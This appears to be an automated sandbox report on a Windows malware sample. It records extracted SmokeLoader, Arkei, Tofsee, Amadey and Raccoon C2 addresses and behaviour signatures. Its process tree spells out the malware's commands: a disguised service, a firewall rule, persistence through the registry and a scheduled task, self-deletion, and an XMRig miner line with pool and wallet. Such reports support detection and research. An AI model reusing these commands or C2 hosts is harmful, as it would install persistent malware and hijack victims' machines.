Analysis

  • max time kernel
    152s
  • max time network
    153s
  • platform
    windows10_x64
  • resource
    win10-en-20211208
  • submitted
    14/01/2022, 03:57

General

  • Target
    b45bf93a4b27690392433619c5006e8b.exe
  • Size 312KB
  • Sample220114-ehyp3aedbp
  • SHA256 e997341ab2422f5471f4c9f1df84f7a52e16fa38d64e6e0f4f94859cc234e2f8
  • MD5 SHA1 SHA512

Malware Config

Extracted

Family
  • smokeloader

Version
  • 2020

C2
  • http://host-data-coin-11.com/

  • http://file-coin-host-12.com/

  • http://srtuiyhuali.at/

  • http://fufuiloirtu.com/

  • http://amogohuigotuli.at/

  • http://novohudosovu.com/

  • http://brutuilionust.com/

  • http://bubushkalioua.com/

  • http://dumuilistrati.at/

  • http://verboliatsiaeeees.com/

rc4.i32
rc4.i32
rc4.i32
rc4.i32

Extracted

Family
  • arkei

Botnet
  • Default

C2
  • http://file-file-host4.com/tratata.php

Extracted

Family
  • tofsee

C2
  • patmushta.info

  • parubey.info

Extracted

Family
  • amadey

Version
  • 3.01

C2
  • 185.215.113.35/d2VxjasuwS/index.php

Extracted

Family
  • raccoon

Version
  • 1.8.4-hotfixs

rc4.plain

Signatures

  • Amadey

    Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.

  • Arkei

    Arkei is an infostealer written in C++.

  • Raccoon

    Simple but powerful infostealer which was very active in 2019.

  • SmokeLoader

    Modular backdoor trojan in use since 2014.

  • Suspicious use of NtCreateProcessExOtherParentProcess 1 IoCs
  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs
  • suricata: ET MALWARE Amadey CnC Check-In

    suricata: ET MALWARE Amadey CnC Check-In

  • suricata: ET MALWARE Single char EXE direct download likely trojan (multiple families)

    suricata: ET MALWARE Single char EXE direct download likely trojan (multiple families)

  • suricata: ET MALWARE Win32/Vidar Variant Stealer CnC Exfil

    suricata: ET MALWARE Win32/Vidar Variant Stealer CnC Exfil

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Arkei Stealer Payload 2 IoCs
  • XMRig Miner Payload 3 IoCs
  • Creates new service(s) 1 TTPs
  • Downloads MZ/PE file
  • Executes dropped EXE 13 IoCs
  • Modifies Windows Firewall 1 TTPs
  • Sets service image path in registry 2 TTPs
  • Deletes itself 1 IoCs
  • Loads dropped DLL 3 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • Suspicious use of SetThreadContext 4 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 3 IoCs
  • Checks SCSI registry key(s) 3 TTPs 6 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Delays execution with timeout.exe 1 IoCs
  • Modifies data under HKEY_USERS 15 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 58 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\b45bf93a4b27690392433619c5006e8b.exe
    "C:\Users\Admin\AppData\Local\Temp\b45bf93a4b27690392433619c5006e8b.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:732
    • C:\Users\Admin\AppData\Local\Temp\b45bf93a4b27690392433619c5006e8b.exe
      "C:\Users\Admin\AppData\Local\Temp\b45bf93a4b27690392433619c5006e8b.exe"
      2⤵
      • Checks SCSI registry key(s)
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      PID:2332
  • C:\Users\Admin\AppData\Local\Temp\85C6.exe
    C:\Users\Admin\AppData\Local\Temp\85C6.exe
    1⤵
    • Executes dropped EXE
    • Checks SCSI registry key(s)
    • Suspicious behavior: MapViewOfSection
    PID:3960
  • C:\Users\Admin\AppData\Local\Temp\8CBC.exe
    C:\Users\Admin\AppData\Local\Temp\8CBC.exe
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Checks processor information in registry
    • Suspicious use of WriteProcessMemory
    PID:1416
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\Admin\AppData\Local\Temp\8CBC.exe" & exit
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:320
      • C:\Windows\SysWOW64\timeout.exe
        timeout /t 5
        3⤵
        • Delays execution with timeout.exe
        PID:2224
  • C:\Users\Admin\AppData\Local\Temp\9096.exe
    C:\Users\Admin\AppData\Local\Temp\9096.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of WriteProcessMemory
    PID:2788
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\qccsfnvg\
      2⤵
        PID:2760
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\ysqklaix.exe" C:\Windows\SysWOW64\qccsfnvg\
        2⤵
          PID:1968
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create qccsfnvg binPath= "C:\Windows\SysWOW64\qccsfnvg\ysqklaix.exe /d\"C:\Users\Admin\AppData\Local\Temp\9096.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
            PID:3516
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" description qccsfnvg "wifi internet conection"
            2⤵
              PID:1084
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" start qccsfnvg
              2⤵
                PID:2536
              • C:\Windows\SysWOW64\netsh.exe
                "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                2⤵
                  PID:1388
              • C:\Users\Admin\AppData\Local\Temp\92E8.exe
                C:\Users\Admin\AppData\Local\Temp\92E8.exe
                1⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious use of AdjustPrivilegeToken
                • Suspicious use of WriteProcessMemory
                PID:1540
                • C:\Users\Admin\AppData\Local\Temp\92E8.exe
                  C:\Users\Admin\AppData\Local\Temp\92E8.exe
                  2⤵
                  • Executes dropped EXE
                  • Suspicious use of AdjustPrivilegeToken
                  PID:2412
              • C:\Windows\SysWOW64\qccsfnvg\ysqklaix.exe
                C:\Windows\SysWOW64\qccsfnvg\ysqklaix.exe /d"C:\Users\Admin\AppData\Local\Temp\9096.exe"
                1⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious use of WriteProcessMemory
                PID:2032
                • C:\Windows\SysWOW64\svchost.exe
                  svchost.exe
                  2⤵
                  • Drops file in System32 directory
                  • Suspicious use of SetThreadContext
                  • Modifies data under HKEY_USERS
                  • Suspicious use of WriteProcessMemory
                  PID:3544
                  • C:\Windows\SysWOW64\svchost.exe
                    svchost.exe -o fastpool.xyz:10060 -u 9rLbTvsApFs3i3ojk5hDKicMNRQbxxFGwJA2hNC6NoZZDQN5tTFbhviFm4W3koxSrPg87Lnif7qxFYh9xpTJz1cT6B17Ph4.50000 -p x -k -a cn/half
                    3⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:3592
              • C:\Windows\SysWOW64\explorer.exe
                C:\Windows\SysWOW64\explorer.exe
                1⤵
                • Accesses Microsoft Outlook profiles
                • outlook_office_path
                • outlook_win_path
                PID:4040
              • C:\Windows\explorer.exe
                C:\Windows\explorer.exe
                1⤵
                  PID:1968
                • C:\Users\Admin\AppData\Local\Temp\F3B7.exe
                  C:\Users\Admin\AppData\Local\Temp\F3B7.exe
                  1⤵
                  • Executes dropped EXE
                  PID:2692
                  • C:\Users\Admin\AppData\Local\Temp\82aa4a6c48\mjlooy.exe
                    "C:\Users\Admin\AppData\Local\Temp\82aa4a6c48\mjlooy.exe"
                    2⤵
                    • Executes dropped EXE
                    PID:400
                    • C:\Windows\SysWOW64\cmd.exe
                      "C:\Windows\System32\cmd.exe" /C REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v Startup /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\82aa4a6c48\
                      3⤵
                        PID:960
                        • C:\Windows\SysWOW64\reg.exe
                          REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v Startup /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\82aa4a6c48\
                          4⤵
                            PID:864
                        • C:\Windows\SysWOW64\schtasks.exe
                          "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN mjlooy.exe /TR "C:\Users\Admin\AppData\Local\Temp\82aa4a6c48\mjlooy.exe" /F
                          3⤵
                          • Creates scheduled task(s)
                          PID:2828
                    • C:\Users\Admin\AppData\Local\Temp\FF50.exe
                      C:\Users\Admin\AppData\Local\Temp\FF50.exe
                      1⤵
                      • Executes dropped EXE
                      PID:1780
                      • C:\Windows\SysWOW64\WerFault.exe
                        C:\Windows\SysWOW64\WerFault.exe -u -p 1780 -s 400
                        2⤵
                        • Program crash
                        • Suspicious use of AdjustPrivilegeToken
                        PID:1772
                    • C:\Users\Admin\AppData\Local\Temp\A0F.exe
                      C:\Users\Admin\AppData\Local\Temp\A0F.exe
                      1⤵
                      • Executes dropped EXE
                      PID:2156
                      • C:\Windows\SysWOW64\WerFault.exe
                        C:\Windows\SysWOW64\WerFault.exe -u -p 2156 -s 400
                        2⤵
                        • Program crash
                        • Suspicious use of AdjustPrivilegeToken
                        PID:3568
                    • C:\Users\Admin\AppData\Local\Temp\F31.exe
                      C:\Users\Admin\AppData\Local\Temp\F31.exe
                      1⤵
                      • Executes dropped EXE
                      PID:2308
                      • C:\Windows\SysWOW64\WerFault.exe
                        C:\Windows\SysWOW64\WerFault.exe -u -p 2308 -s 888
                        2⤵
                        • Suspicious use of NtCreateProcessExOtherParentProcess
                        • Program crash
                        • Suspicious use of AdjustPrivilegeToken
                        PID:3000
                    • C:\Users\Admin\AppData\Local\Temp\1462.exe
                      C:\Users\Admin\AppData\Local\Temp\1462.exe
                      1⤵
                      • Executes dropped EXE
                      • Suspicious use of NtSetInformationThreadHideFromDebugger
                      PID:2312
                    • C:\Users\Admin\AppData\Local\Temp\82aa4a6c48\mjlooy.exe
                      C:\Users\Admin\AppData\Local\Temp\82aa4a6c48\mjlooy.exe
                      1⤵
                      • Executes dropped EXE
                      PID:2688

                    Network

                          MITRE ATT&CK Enterprise v6

                          Replay Monitor

                          Loading Replay Monitor...

                          Downloads

                          memory/400-208-0x0000000000781000-0x000000000079F000-memory.dmp

                          memory/400-212-0x0000000000400000-0x0000000000578000-memory.dmp

                          memory/400-211-0x00000000001C0000-0x00000000001F8000-memory.dmp

                          memory/732-116-0x0000000000030000-0x0000000000039000-memory.dmp

                          memory/732-115-0x0000000000811000-0x0000000000822000-memory.dmp

                          memory/1416-137-0x00000000001D0000-0x00000000001EC000-memory.dmp

                          memory/1416-138-0x0000000000400000-0x000000000056F000-memory.dmp

                          memory/1540-147-0x00000000048A0000-0x00000000048BE000-memory.dmp

                          memory/1540-141-0x0000000000050000-0x00000000000DA000-memory.dmp

                          memory/1540-152-0x0000000005160000-0x000000000565E000-memory.dmp

                          memory/1540-140-0x0000000000050000-0x00000000000DA000-memory.dmp

                          memory/1540-149-0x0000000004820000-0x0000000004821000-memory.dmp

                          memory/1540-148-0x00000000049A0000-0x00000000049A1000-memory.dmp

                          memory/1540-145-0x00000000048C0000-0x0000000004936000-memory.dmp

                          memory/1780-216-0x00000000024E0000-0x0000000002540000-memory.dmp

                          memory/1968-197-0x0000000000E90000-0x0000000000E97000-memory.dmp

                          memory/1968-198-0x0000000000E80000-0x0000000000E8C000-memory.dmp

                          memory/2032-157-0x000000000088C000-0x000000000089D000-memory.dmp

                          memory/2032-162-0x0000000000400000-0x000000000056E000-memory.dmp

                          memory/2308-237-0x0000000004C90000-0x0000000004D22000-memory.dmp

                          memory/2308-232-0x0000000000400000-0x0000000002BC5000-memory.dmp

                          memory/2308-242-0x0000000000400000-0x0000000002BC5000-memory.dmp

                          memory/2308-240-0x0000000004D30000-0x0000000004D7F000-memory.dmp

                          memory/2308-229-0x00000000030A0000-0x0000000003160000-memory.dmp

                          memory/2308-230-0x0000000000400000-0x0000000002BC5000-memory.dmp

                          memory/2308-231-0x0000000002CAE000-0x0000000002D2F000-memory.dmp

                          memory/2308-233-0x0000000003160000-0x0000000003205000-memory.dmp

                          memory/2308-228-0x0000000002F70000-0x0000000003010000-memory.dmp

                          memory/2308-234-0x0000000000400000-0x0000000002BC5000-memory.dmp

                          memory/2308-235-0x0000000000400000-0x0000000002BC5000-memory.dmp

                          memory/2308-236-0x0000000004C20000-0x0000000004C88000-memory.dmp

                          memory/2308-238-0x0000000000400000-0x0000000002BC5000-memory.dmp

                          memory/2308-239-0x0000000000400000-0x0000000002BC5000-memory.dmp

                          memory/2308-241-0x0000000004D90000-0x0000000004E21000-memory.dmp

                          memory/2312-227-0x0000000001140000-0x0000000001185000-memory.dmp

                          memory/2332-117-0x0000000000400000-0x0000000000409000-memory.dmp

                          memory/2412-171-0x0000000004F40000-0x000000000504A000-memory.dmp

                          memory/2412-167-0x0000000000400000-0x0000000000420000-memory.dmp

                          memory/2412-170-0x0000000004E10000-0x0000000004E22000-memory.dmp

                          memory/2412-169-0x0000000005390000-0x0000000005996000-memory.dmp

                          memory/2412-181-0x00000000059A0000-0x00000000059BE000-memory.dmp

                          memory/2412-163-0x0000000000400000-0x0000000000420000-memory.dmp

                          memory/2412-178-0x00000000051D0000-0x0000000005246000-memory.dmp

                          memory/2412-173-0x0000000004D80000-0x0000000005386000-memory.dmp

                          memory/2412-185-0x00000000068B0000-0x0000000006A72000-memory.dmp

                          memory/2412-168-0x0000000000400000-0x0000000000420000-memory.dmp

                          memory/2412-180-0x0000000005EA0000-0x000000000639E000-memory.dmp

                          memory/2412-186-0x0000000006FB0000-0x00000000074DC000-memory.dmp

                          memory/2412-179-0x00000000052F0000-0x0000000005382000-memory.dmp

                          memory/2412-174-0x0000000004EC0000-0x0000000004F0B000-memory.dmp

                          memory/2412-172-0x0000000004E70000-0x0000000004EAE000-memory.dmp

                          memory/2412-182-0x0000000005E10000-0x0000000005E76000-memory.dmp

                          memory/2648-119-0x0000000000B40000-0x0000000000B56000-memory.dmp

                          memory/2648-153-0x0000000002530000-0x0000000002546000-memory.dmp

                          memory/2688-245-0x0000000000400000-0x0000000000578000-memory.dmp

                          memory/2688-244-0x0000000000854000-0x0000000000872000-memory.dmp

                          memory/2692-207-0x0000000000400000-0x0000000000578000-memory.dmp

                          memory/2692-206-0x0000000000580000-0x00000000006CA000-memory.dmp

                          memory/2692-202-0x0000000000741000-0x000000000075F000-memory.dmp

                          memory/2788-133-0x00000000007A1000-0x00000000007B2000-memory.dmp

                          memory/2788-139-0x00000000001C0000-0x00000000001D3000-memory.dmp

                          memory/2788-143-0x0000000000400000-0x000000000056E000-memory.dmp

                          memory/3544-160-0x0000000000C70000-0x0000000000C71000-memory.dmp

                          memory/3544-161-0x0000000000C70000-0x0000000000C71000-memory.dmp

                          memory/3544-158-0x0000000000D60000-0x0000000000D75000-memory.dmp

                          memory/3592-187-0x0000000000700000-0x00000000007F1000-memory.dmp

                          memory/3592-192-0x0000000000700000-0x00000000007F1000-memory.dmp

                          memory/3960-126-0x00000000005B0000-0x00000000005B9000-memory.dmp

                          memory/3960-128-0x0000000000400000-0x0000000000452000-memory.dmp

                          memory/3960-127-0x00000000005C0000-0x00000000005C9000-memory.dmp

                          memory/4040-195-0x0000000002800000-0x000000000286B000-memory.dmp

                          memory/4040-194-0x0000000002870000-0x00000000028E4000-memory.dmp